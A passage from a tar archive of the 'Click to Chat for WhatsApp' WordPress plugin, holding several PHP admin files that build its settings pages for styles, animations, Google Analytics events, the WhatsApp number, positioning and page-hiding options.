                    <p><?php _e( 'Desktop - Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s99_img_width_desktop]" value="<?= esc_attr( $ccw_style_99_own_img['s99_img_width_desktop'] ) ?>" type="text" class="" >
                </div>
            </div>


            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Mobile - Image Height', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s99_img_height_mobile]" value="<?= esc_attr( $ccw_style_99_own_img['s99_img_height_mobile'] ) ?>" type="text" class="" >
                </div>
            </div>

            <div class="row">
                <div class="col s6">
                    <p><?php _e( 'Mobile - Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
                </div>
                <div class="input-field col s4">
                    <input name="ccw_options_cs[s99_img_width_mobile]" value="<?= esc_attr( $ccw_style_99_own_img['s99_img_width_mobile'] ) ?>" type="text" class="" >
                </div>
            </div>

            <p class="description">E.g. 100px </p>
            

        
        

        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }




    // Animations
    function ccw_animations_cb() {
        $ccw_animations = get_option('ccw_options_cs');
        // $an_enable = esc_attr( $ccw_animations['an_enable'] );
        $an_on_load = esc_attr( $ccw_animations['an_on_load'] );
        $an_on_hover = esc_attr( $ccw_animations['an_on_hover'] );
        
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Animations </div>
        <div class="collapsible-body">
            
        <p class="description"> Animations for floating styles - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/animations/">more info</a> </p>
        <br><br>            

            
            <!-- animation on load -->
            <div class="row">
                <div class="col s6">
                    <p>Animation on Page load</p>
                </div>
                <div class="input-field col s6">
                    <select name="ccw_options_cs[an_on_load]" class="select-2_2">
                    <?php 
                    $an_list = HT_CCW_Admin_lists::$animations_list;

                    foreach ( $an_list as $value ) {
                    ?>
                    <option value="<?= $value ?>" <?= $an_on_load == $value ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                    <?php
                    }

                    ?>
                    </select>
                    <label>animation on page load</label>
                </div>
            </div>

            <!-- animation on hover -->
            <div class="row">
                <div class="col s6">
                    <p>Animation on hover</p>
                </div>
                <div class="input-field col s6">
                    <select name="ccw_options_cs[an_on_hover]" class="select-2_2">
                        <option value="ccw-an" <?= $an_on_hover == 'ccw-an' ? 'SELECTED' : ''; ?> >Yes</option>
                        <option value="ccw-no-hover-an" <?= $an_on_hover == 'ccw-no-hover-an' ? 'SELECTED' : ''; ?> >No</option>
                    </select>
                    <label>Animation on mouse hover</label>
                </div>
                <p class="description">If Yes, Animation on hover - works based on - Animation  on page load - value</p>
            </div>

        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }





    // Google Analytics
    function ht_ccw_ga_cb() {
        $ht_ccw_ga = get_option('ht_ccw_ga');
        $ga_category = esc_attr( $ht_ccw_ga['ga_category'] );
        $ga_action = esc_attr( $ht_ccw_ga['ga_action'] );
        $ga_label = esc_attr( $ht_ccw_ga['ga_label'] );
        
        ?>
        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div id="ga-analytics" class="collapsible-header">Google Analytics </div>
        <div class="collapsible-body">
            
            <p class="description"> Enable Google Analytics at plugin home settings - <a target="_blank" href="<?= admin_url( 'admin.php?page=click-to-chat' ); ?>">Click to Chat</a>  </p>
            <p class="description"> Event Values - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/google-analytics/"><?php _e( 'more info' , 'click-to-chat-for-whatsapp' ) ?></a> </p>
            <br><br>    

            <!-- Category Name -->
            <div class="row">
                <div class="col s6">
                    <p>Category Name</p>
                </div>
                <div class="input-field col s5">
                    <input name="ht_ccw_ga[ga_category]" value="<?= esc_attr( $ht_ccw_ga['ga_category'] ) ?>" type="text" class="" >
                </div>
            </div>

            <!-- Action Name -->
            <div class="row">
                <div class="col s6">
                    <p>Action Name</p>
                </div>
                <div class="input-field col s5">
                    <input name="ht_ccw_ga[ga_action]" value="<?= esc_attr( $ht_ccw_ga['ga_action'] ) ?>" type="text" class="" >
                </div>
            </div>

            <!-- Label Name -->
            <div class="row">
                <div class="col s6">
                    <p>Label Name</p>
                </div>
                <div class="input-field col s5">
                    <input name="ht_ccw_ga[ga_label]" value="<?= esc_attr( $ht_ccw_ga['ga_label'] ) ?>" type="text" class="" >
                </div>
            </div>
        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }



    // sanitize
    function ccw_options_sanitize_cs_cb( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }
        
        $new_input = array();


        foreach ($input as $key => $value) {
            if( isset( $input[$key] ) ) {
                $new_input[$key] = sanitize_text_field( $input[$key] );
            }
        }


        return $new_input;
    }


}

$ccw_customize_styles = new CCW_Admin_Page_Customize_Styles();

add_action( 'admin_init', array( $ccw_customize_styles, 'customize_styles') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/admin/settings_page.php000064400000001523147510273110017212 0ustar00<?php
/**
* options page
* content of this page load / continue at admin_page.php
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

?>

<div class="wrap">

    <?php settings_errors(); ?>
    
    <div class="row">

        <div class="col s12 m12 xl6 options">
            <form action="options.php" method="post" class="col s12">
                <?php settings_fields( 'ccw_settings_group' ); ?>
                <?php do_settings_sections( 'ccw_options_settings' ) ?>
                <?php submit_button() ?>
            </form>
        </div>
        
        <div class="col s12 m12 xl6 admin_sidebar">
          <div class="wca_card" style="display: none;">
            <!-- sidebar content -->
          </div>
        </div>    

    </div>
        

</div>click-to-chat-for-whatsapp/prev/admin/sp_customize_styles.php000064400000001605147510273110020506 0ustar00<?php
/**
* settings page - customize styles  ( settings_page.php is main page and this is sub page )
* options page
* content of this page load / continue at admin_page_customize_styles.php
*  cs  - customize styles
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

?>

<div class="wrap">

<?php settings_errors(); ?>
    
        <div class="row">
            <div class="col s12 m12 xl7 options">
                <form action="options.php" method="post" class="col s12">
                    <?php settings_fields( 'ccw_settings_group_cs' ); ?>
                    <?php do_settings_sections( 'ccw_options_settings_cs' ) ?>
                    <?php submit_button() ?>
                </form>
            </div>
            <div class="col admin_sidebar">
            </div>            
        </div>
        
</div>click-to-chat-for-whatsapp/prev/admin/admin.php000064400000001115147510273110015443 0ustar00<?php
/**
*  starting point for the admin side of this plugin.
*  include other file here .. which need in admin side. 
*  In click-to-chat.php this file will be loaded as is_admin
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

/*************** includes ***********/
include_once 'class-ccw-add-styles-scripts-admin.php';

include_once 'commons/class-ht-ccw-admin-lists.php';

include_once 'class-ccw-admin-menu.php';
include_once 'class-ccw-admin-page.php';
include_once 'class-ccw-admin-page-customize-styles.php';click-to-chat-for-whatsapp/prev/admin/class-ccw-add-styles-scripts-admin.php000064400000002753147510273110023065 0ustar00<?php
/**
* Enqueue styles, scripts
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'CCW_Add_Styles_Scripts_Admin' ) ) :

class CCW_Add_Styles_Scripts_Admin {


    // Register css styles, javascript files only on 'click-to-chat' page
    function ccw_register_files_admin($hook) {
        
        if( 'toplevel_page_click-to-chat' == $hook || 'click-to-chat_page_ccw-edit-styles' == $hook ) {

            wp_enqueue_style( 'wp-color-picker' );
            
            wp_enqueue_style('ccw_admin_md_css', plugins_url( 'new/admin/admin_assets/css/materialize.min.css', HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );
            wp_enqueue_style('ccw_admin_main_css', plugins_url( 'prev/assets/css/admin_main.css', HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );

            wp_enqueue_script( 'ccw_admin_md_js', plugins_url( 'new/admin/admin_assets/js/materialize.min.js', HT_CTC_PLUGIN_FILE ), array( 'jquery' ), HT_CTC_VERSION, true );
            wp_enqueue_script( 'ccw_admin_app_js', plugins_url( 'prev/assets/js/admin_app.js', HT_CTC_PLUGIN_FILE ), array( 'ccw_admin_md_js', 'jquery', 'wp-color-picker' ), HT_CTC_VERSION, true );
        } else {
            return;
        }
        
    }

}

$add_styles_scripts_admin =  new CCW_Add_Styles_Scripts_Admin();

add_action('admin_enqueue_scripts', array( $add_styles_scripts_admin, 'ccw_register_files_admin' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/admin/class-ccw-admin-page.php000064400000073630147510273110020245 0ustar00<?php
/**
* content of the options page .. 
* admin_menu.php  -> settings_page.php  -> admin_page.php
*
* @package ccw
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'CCW_Admin_Page' ) ) :
    
class CCW_Admin_Page {

    function ccw_custom_settings() {
        
        register_setting( 'ccw_settings_group', 'ht_ctc_switch' , 'ccw_options_sanitize' );
        register_setting( 'ccw_settings_group', 'ccw_options' , 'ccw_options_sanitize' );
    
        add_settings_section( 'ccw_settings', '', array( $this, 'ccw_settings_section' ), 'ccw_options_settings' );
    
        add_settings_field( 'ht_ctc_switch', __( 'Switch to New Interface' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_switch_cb' ), 'ccw_options_settings', 'ccw_settings' );

        add_settings_field( 'ccw_enable', __( 'Enable Floating Styles' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_enable_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_enable_sc', __( 'Enable ShortCodes' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_enable_sc_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_return_type', __( 'Return Type' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_return_type_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_number', __( 'WhatsApp Number' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_number_input_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_pre_text', __( 'Initial Message' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_prefix_message_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_group_id', __( 'Group Id' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_group_id_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_style', __( 'Style for Desktops' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_style_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_style_mobile', __( 'Style for Mobile Devices' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_style_mobile_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_position', __( 'Position to Place' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_position_input_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_placeholder', __( 'Text to Display' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_input_placeholder_cb' ), 'ccw_options_settings', 'ccw_settings' );
        
        add_settings_field( 'ccw_google_analytics', __( 'Google Analytics' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_google_analytics_cb' ), 'ccw_options_settings', 'ccw_settings' );
        
        add_settings_field( 'ccw_checkbox', __( 'Hide Based on post type' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_checkbox_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_list_id_tohide', __( "Posts, Pages Id's to Hide" , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_list_id_tohide_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_list_cat_tohide', __( 'Categorys to Hide' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_list_cat_tohide_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_custom_shortcode', __( 'Shortcode name' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_custom_shortcode_cb' ), 'ccw_options_settings', 'ccw_settings' );
        add_settings_field( 'ccw_app_first', __( 'App First / If Cache Issue' , 'click-to-chat-for-whatsapp' ), array( $this, 'ccw_app_first_cb' ), 'ccw_options_settings', 'ccw_settings' );
 
    }

    
    // heading
    function ccw_settings_section() {
        echo '<h1>Click to Chat - Interface-1</h1>';
    }



    /**
     * switch interface
     */
    function ccw_switch_cb() {
        $options = get_option('ht_ctc_switch');
        $interface_value = esc_attr( $options['interface'] );
        ?>

        <ul class="collapsible" data-collapsible="accordion">
        <li>
        <div class="collapsible-header">Switch interface</div>
        <div class="collapsible-body">

        <p class="description" style="color: red"> <strong> Please reconfigure the settings, after switching to the new interface </strong></p>
        <br>
        <p class="description">We developed a new interface with lot more features</p>
        <br>

        <div class="row">
            <div class="input-field col s12" style="margin-bottom: 0px;">
                <select name="ht_ctc_switch[interface]" class="select-2">
                    <!-- here first option value place as "no" as here default/db value not placed, when save with no changes it saves as no -->
                    <option value="no" <?= $interface_value == 'no' ? 'SELECTED' : ''; ?> >Previous Interface</option>
                    <option value="yes" <?= $interface_value == 'yes' ? 'SELECTED' : ''; ?> >New Interface  (Have to reconfigure the settings)</option>
                </select>
                <label>Switch Interface</label>
            </div>
        </div>
        <p class="description"> <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/new-interface/">New Interface</a></p>
        
        </div>
        </div>
        </li>
        </ul>

        <?php
    }




    // enable / disable floating styles
    function ccw_enable_cb() {
        $ccw_enable = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <select name="ccw_options[enable]" class="select-1">
                <option value="1">No</option>
                <option value="2" <?= esc_attr( $ccw_enable['enable'] ) == 2 ? 'SELECTED' : ''; ?>  >Yes</option>
                </select>
                <label>enable</label>
            </div>
        </div>
        <?php
    }

    // enable / disable shortcodes
    function ccw_enable_sc_cb() {
        $ccw_enable_sc = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12 select-margin">
                <select name="ccw_options[enable_sc]" class="select-1">
                <option value="1">No</option>
                <option value="2" <?= esc_attr( $ccw_enable_sc['enable_sc'] ) == 2 ? 'SELECTED' : ''; ?>  >Yes</option>
                </select>
                <label>enable ShortCodes</label>
                <p class="description">If Selected - No - then Hides Shortcodes and its syntax - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/enable-disable-styles/">more info</a> </p>
            </div>
        </div>
        <?php
    }

    // Return type  - chat or group chat
    function ccw_return_type_cb() {
        $ccw_return_type = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12 select-margin">
                <select name="ccw_options[return_type]" class="select-1">
                <option value="chat" <?= esc_attr( $ccw_return_type['return_type'] ) == 'chat' ? 'SELECTED' : ''; ?> >Chat</option>
                <option value="group_chat" <?= esc_attr( $ccw_return_type['return_type'] ) == 'group_chat' ? 'SELECTED' : ''; ?> >Group chat - Invite</option>
                </select>
                <label>Default return type - Chat or Group Chat Invite</label>
                <p class="description">Default return type for Floating Style, shortcodes. But for shortcodes can change using shortcode attributes - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/return-type-chat-or-group-chat/">more info</a> </p>
            </div>
        </div>
        <?php
    }


    // Desktop - select style 
    function ccw_style_cb() {
        $ccw_style = get_option('ccw_options');
        $style_value = esc_attr( $ccw_style['style'] );
        ?>
        <div class="row">
            <div class="input-field col s12">
                <select name="ccw_options[style]" class="select-2">
                    <option value="1" <?= $style_value == 1 ? 'SELECTED' : ''; ?> >Style-1</option>
                    <option value="2" <?= $style_value == 2 ? 'SELECTED' : ''; ?> >Style-2</option>
                    <option value="3" <?= $style_value == 3 ? 'SELECTED' : ''; ?> >Style-3</option>
                    <option value="4" <?= $style_value == 4 ? 'SELECTED' : ''; ?> >Style-4</option>
                    <option value="5" <?= $style_value == 5 ? 'SELECTED' : ''; ?> >Style-5</option>
                    <option value="6" <?= $style_value == 6 ? 'SELECTED' : ''; ?> >Style-6</option>
                    <option value="7" <?= $style_value == 7 ? 'SELECTED' : ''; ?> >Style-7</option>
                    <option value="8" <?= $style_value == 8 ? 'SELECTED' : ''; ?> >Style-8</option>
                    <option value="9" <?= $style_value == 9 ? 'SELECTED' : ''; ?> >Style-9</option>
                    <option value="99" <?= $style_value == 99 ? 'SELECTED' : ''; ?> >Add your own image / GIF (Style-99)</option>
                    <option value="0" <?= $style_value == 0 ? 'SELECTED' : ''; ?> >Hide on Desktop Devices</option>
                </select>
                <label>Select Style for Desktop</label>
                <p class="description"> - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/styles/">List of Styles</a> </p>
                <p class="description">These styles are customizable - <a target="_blank" href="<?= admin_url( 'admin.php?page=ccw-edit-styles' ); ?>">Customize Styles</a> </p>
                
            </div>
        </div>
        <?php
    }

    // Mobile - Select Style
    function ccw_style_mobile_cb() {
        $ccw_stylemobile = get_option('ccw_options');
        $style_mobile_value = esc_attr( $ccw_stylemobile['stylemobile'] );
        ?>
        <div class="row">
            <div class="input-field col s12">
                <select name="ccw_options[stylemobile]" class="select-2_2">
                <option value="1" <?= $style_mobile_value == 1 ? 'SELECTED' : ''; ?> >Style-1</option>
                <option value="2" <?= $style_mobile_value == 2 ? 'SELECTED' : ''; ?> >Style-2</option>
                <option value="3" <?= $style_mobile_value == 3 ? 'SELECTED' : ''; ?> >Style-3</option>
                <option value="4" <?= $style_mobile_value == 4 ? 'SELECTED' : ''; ?> >Style-4</option>
                <option value="5" <?= $style_mobile_value == 5 ? 'SELECTED' : ''; ?> >Style-5</option>
                <option value="6" <?= $style_mobile_value == 6 ? 'SELECTED' : ''; ?> >Style-6</option>
                <option value="7" <?= $style_mobile_value == 7 ? 'SELECTED' : ''; ?> >Style-7</option>
                <option value="8" <?= $style_mobile_value == 8 ? 'SELECTED' : ''; ?> >Style-8</option>
                <option value="9" <?= $style_mobile_value == 9 ? 'SELECTED' : ''; ?> >Style-9</option>
                <option value="99" <?= $style_mobile_value == 99 ? 'SELECTED' : ''; ?> >Add your own image / GIF (Style-99)</option>
                <option value="0" <?= $style_mobile_value == 0 ? 'SELECTED' : ''; ?> >Hide on Mobile Devices</option>
                </select>
                <label>Select Style for Mobile Devices</label>
            </div>
        </div>
        <?php
    }

    // number
    function ccw_number_input_cb() {
        $ccw_number = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[number]" value="<?= esc_attr( $ccw_number['number'] ) ?>" id="whatsapp_number" type="text" class="input-margin">
                <label for="whatsapp_number">Enter whatsapp number </label>
                <p class="description">Enter whatsapp number with country code ( e.g. 916123456789 ) please dont include +, ( here in e.g. 91 is country code 6123456789 is mobile number - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/whatsapp-number/">more info</a> ) </p>
            </div>
        </div>
        <?php
    }


    // prefix - message
    function ccw_prefix_message_cb() {
        $ccw_initial = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[initial]" value="<?= esc_attr( $ccw_initial['initial'] ) ?>" id="whatsapp_initial" type="text" class="input-margin">
                <label for="whatsapp_initial">Initial Message</label>
                <p class="description">Initial message ( pre-filled ), placeholder {{url}} to add webpage url -  <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/pre-filled-message/">more info</a> </p>
            </div>
        </div>
        <?php
    }


    // Group ID
    function ccw_group_id_cb() {
        $ccw_group_id = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[group_id]" value="<?= esc_attr( $ccw_group_id['group_id'] ) ?>" id="whatsapp_group_id" type="text" class="input-margin">
                <label for="whatsapp_group_id">whatsapp group ID Extenstion </label>
                <p class="description">Enter whatsapp Group Id - E.g. 9EHLsEsOeJk6AVtE8AvXiA  - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/find-whatsapp-group-id/">more info</a> </p>
            </div>
        </div>
        <?php
    }

    // position
    function ccw_position_input_cb() {
        $ccw_position = get_option('ccw_options');
        $ccw_position_value = esc_attr( $ccw_position['position'] )
        ?>
        <div class="row">
            <div class="input-field col s12">
                <select name="ccw_options[position]" class="select">
                <option value="1"  <?= $ccw_position_value == 1 ? 'SELECTED' : ''; ?> >bottom right</option>
                <option value="2"  <?= $ccw_position_value == 2 ? 'SELECTED' : ''; ?> >bottom left</option>
                <option value="3"  <?= $ccw_position_value == 3 ? 'SELECTED' : ''; ?> >top left</option>
                <option value="4"  <?= $ccw_position_value == 4 ? 'SELECTED' : ''; ?> >top right</option>
                </select>
                <label>Fixed position to place</label>
                <p class="description">e.g. 10px - please add css units as suffix, e.g. 10px, 10%, 10rem, 10em .. <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/position-to-place/">more info</a> </p>
            </div>
        </div>

        <div class="row display-none position position-1 bottom-right">
            <div class="input-field col s6">
                <input name="ccw_options[position-1_bottom]" value="<?= esc_attr( $ccw_position['position-1_bottom'] ) ?>" id="position-1_bottom" type="text" class="validate">
                <label for="position-1_bottom">position_bottom: </label>
            </div>
            <div class="input-field col s6">
                <input name="ccw_options[position-1_right]" value="<?= esc_attr( $ccw_position['position-1_right'] ) ?>" id="position-1_right" type="text" class="validate">
                <label for="position-1_right">position_right: </label>
            </div>
        </div>

        <div class="row display-none position position-2 bottom-left">
            <div class="input-field col s6">
                <input name="ccw_options[position-2_bottom]" value="<?= esc_attr( $ccw_position['position-2_bottom'] ) ?>" id="position-2_bottom" type="text" class="validate">
                <label for="position-2_bottom">position_bottom: </label>
            </div>
            <div class="input-field col s6">
                <input name="ccw_options[position-2_left]" value="<?= esc_attr( $ccw_position['position-2_left'] ) ?>" id="position-2_left" type="text" class="validate">
                <label for="position-2_left">position_left: </label>
            </div>
        </div>



        <div class="row display-none position position-3 top-left">
            <div class="input-field col s6">
                <input name="ccw_options[position-3_top]" value="<?= esc_attr( $ccw_position['position-3_top'] ) ?>" id="position-3_top" type="text" class="validate">
                <label for="position-3_top">position_top: </label>
            </div>
            <div class="input-field col s6">
                <input name="ccw_options[position-3_left]" value="<?= esc_attr( $ccw_position['position-3_left'] ) ?>" id="position-3_left" type="text" class="validate">
                <label for="position-3_left">position_left: </label>
            </div>
        </div>

        <div class="row display-none position position-4 top-right">
            <div class="input-field col s6">
                <input name="ccw_options[position-4_top]" value="<?= esc_attr( $ccw_position['position-4_top'] ) ?>" id="position-4_top" type="text" class="validate">
                <label for="position-4_top">position_top: </label>
            </div>
            <div class="input-field col s6">
                <input name="ccw_options[position-4_right]" value="<?= esc_attr( $ccw_position['position-4_right'] ) ?>" id="position-4_right" type="text" class="validate">
                <label for="position-4_right">position_right: </label>
            </div>
        </div>

        <?php 
    }

    // Text - placeholder
    function ccw_input_placeholder_cb() {
        $ccw_placeholder = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[input_placeholder]" value="<?= esc_attr( $ccw_placeholder['input_placeholder'] ) ?>" id="input_placeholder" type="text" class="input-margin">
                <label for="input_placeholder">placeholder value</label>
                <p class="description"> - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/text-to-display/">more info</a> </p>
            </div>
        </div>
        <?php
    }


    // Enable Google Analytics 
    function ccw_google_analytics_cb() {
        $ccw_google_analytics = get_option('ccw_options');


        if ( isset( $ccw_google_analytics['google_analytics'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[google_analytics]" type="checkbox" value="1" <?php checked( $ccw_google_analytics['google_analytics'], 1 ); ?> id="google_analytics" />
                    <span>Google Analytics</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[google_analytics]" type="checkbox" value="1" id="google_analytics" />
                    <span>Google Analytics</span>
                </label>
            </p>
            <?php
        }
        ?>
        
        <p class="description"> If Google Analytics is installed - creates an Event at there - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/google-analytics/">more info</a> </p>
        <p class="description"> Customize Event Values - <a target="_blank" href="<?= admin_url( 'admin.php?page=ccw-edit-styles#ga-analytics' ); ?>"><?php _e( 'Customize Styles' , 'click-to-chat-for-whatsapp' ) ?></a>  </p>
        <p class="description"> Using - <a target="_blank" href="https://holithemes.com/google-analytics-for-click-to-chat-for-whatsapp-plugin/">Google Tag Manager</a> </p>
        <?php
    }


    // checkboxes - based on Type of posts .. 
    function ccw_checkbox_cb() {
        $ccw_checkbox = get_option('ccw_options');


        // Single Posts
        if ( isset( $ccw_checkbox['hideon_posts'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_posts]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_posts'], 1 ); ?> id="filled-in-box1" />
                    <span>Hide on - Posts</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_posts]" type="checkbox" value="1" id="filled-in-box1" />
                    <span>Hide on - Posts</span>
                </label>
            </p>
            <?php
        }


        // Page
        if ( isset( $ccw_checkbox['hideon_page'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_page]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_page'], 1 ); ?> id="filled-in-box2" />
                    <span>Hide on - Pages</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_page]" type="checkbox" value="1" id="filled-in-box2" />
                    <span>Hide on - Pages</span>
                </label>
            </p>
            <?php
        }


        // Home Page
        if ( isset( $ccw_checkbox['hideon_homepage'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_homepage]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_homepage'], 1 ); ?> id="filled-in-box3" />
                    <span>Hide on - Home Page</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_homepage]" type="checkbox" value="1" id="filled-in-box3" />
                    <span>Hide on - Home Page</span>
                </label>
            </p>
            <?php
        }

        /* Front Page
         A front page is also a home page, but home page is not a front page
         if front page unchecked - it works on both homepage and fornt page
         but if home page is unchecked - it works only on home page, not on front page */
        if ( isset( $ccw_checkbox['hideon_frontpage'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_frontpage]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_frontpage'], 1 ); ?> id="filled-in-box4" />
                    <span>Hide on - Front Page</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_frontpage]" type="checkbox" value="1" id="filled-in-box4" />
                    <span>Hide on - Front Page</span>
                </label>
            </p>
            <?php
        }

        // Category
        if ( isset( $ccw_checkbox['hideon_category'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_category]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_category'], 1 ); ?> id="filled-in-box5" />
                    <span>Hide on - Category</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_category]" type="checkbox" value="1" id="filled-in-box5" />
                    <span>Hide on - Category</span>
                </label>
            </p>
            <?php
        }

        // Archive
        if ( isset( $ccw_checkbox['hideon_archive'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_archive]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_archive'], 1 ); ?> id="filled-in-box6" />
                    <span>Hide on - Archive</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_archive]" type="checkbox" value="1" id="filled-in-box6" />
                    <span>Hide on - Archive</span>
                </label>
            </p>
            <?php
        }

        
        // 404 Page
        if ( isset( $ccw_checkbox['hideon_404'] ) ) {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_404]" type="checkbox" value="1" <?php checked( $ccw_checkbox['hideon_404'], 1 ); ?> id="filled-in-box7" />
                    <span>Hide on - 404 Page</span>
                </label>
            </p>
            <?php
        } else {
            ?>
            <p>
                <label>
                    <input name="ccw_options[hideon_404]" type="checkbox" value="1" id="filled-in-box7" />
                    <span>Hide on - 404 Page</span>
                    </label>
            </p>
            <?php
        }
        ?>
        <p class="description">Check to hide - Hide - Styles - based on type of the page <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/show-hide-styles-based-on-type-of-the-page/">more info</a> </p>
        <?php
    }

    // ID's list to hide styles
    function ccw_list_id_tohide_cb() {
        $ccw_list_id_tohide = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[list_hideon_pages]" value="<?= esc_attr( $ccw_list_id_tohide['list_hideon_pages'] ) ?>" id="ccw_list_id_tohide" type="text" class="input-margin">
                <label for="ccw_list_id_tohide">Id's list to Hide - add ',' after each id </label>
                <p class="description"> Add Post, Pages, Media - ID's to hide, Add multiple id's separate with a comma ( , ) - <a target="_blank" href="https://holithemes.com/plugins/whatsapp-chat/show-hide-styles-based-on-id/">more info</a> </p>
            </div>
        </div>
        <?php
    }

    //  Categorys list - to hide
    function ccw_list_cat_tohide_cb() {
        $ccw_list_cat_tohide = get_option('ccw_options');
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ccw_options[list_hideon_cat]" value="<?= esc_attr( $ccw_list_cat_tohide['list_hideon_cat'] ) ?>" id="ccw_list_cat_tohide" type="text" class="input-margin">
                <label for="ccw_list_cat_tohide">Category name's to Hide - add ',' after each category name </label>
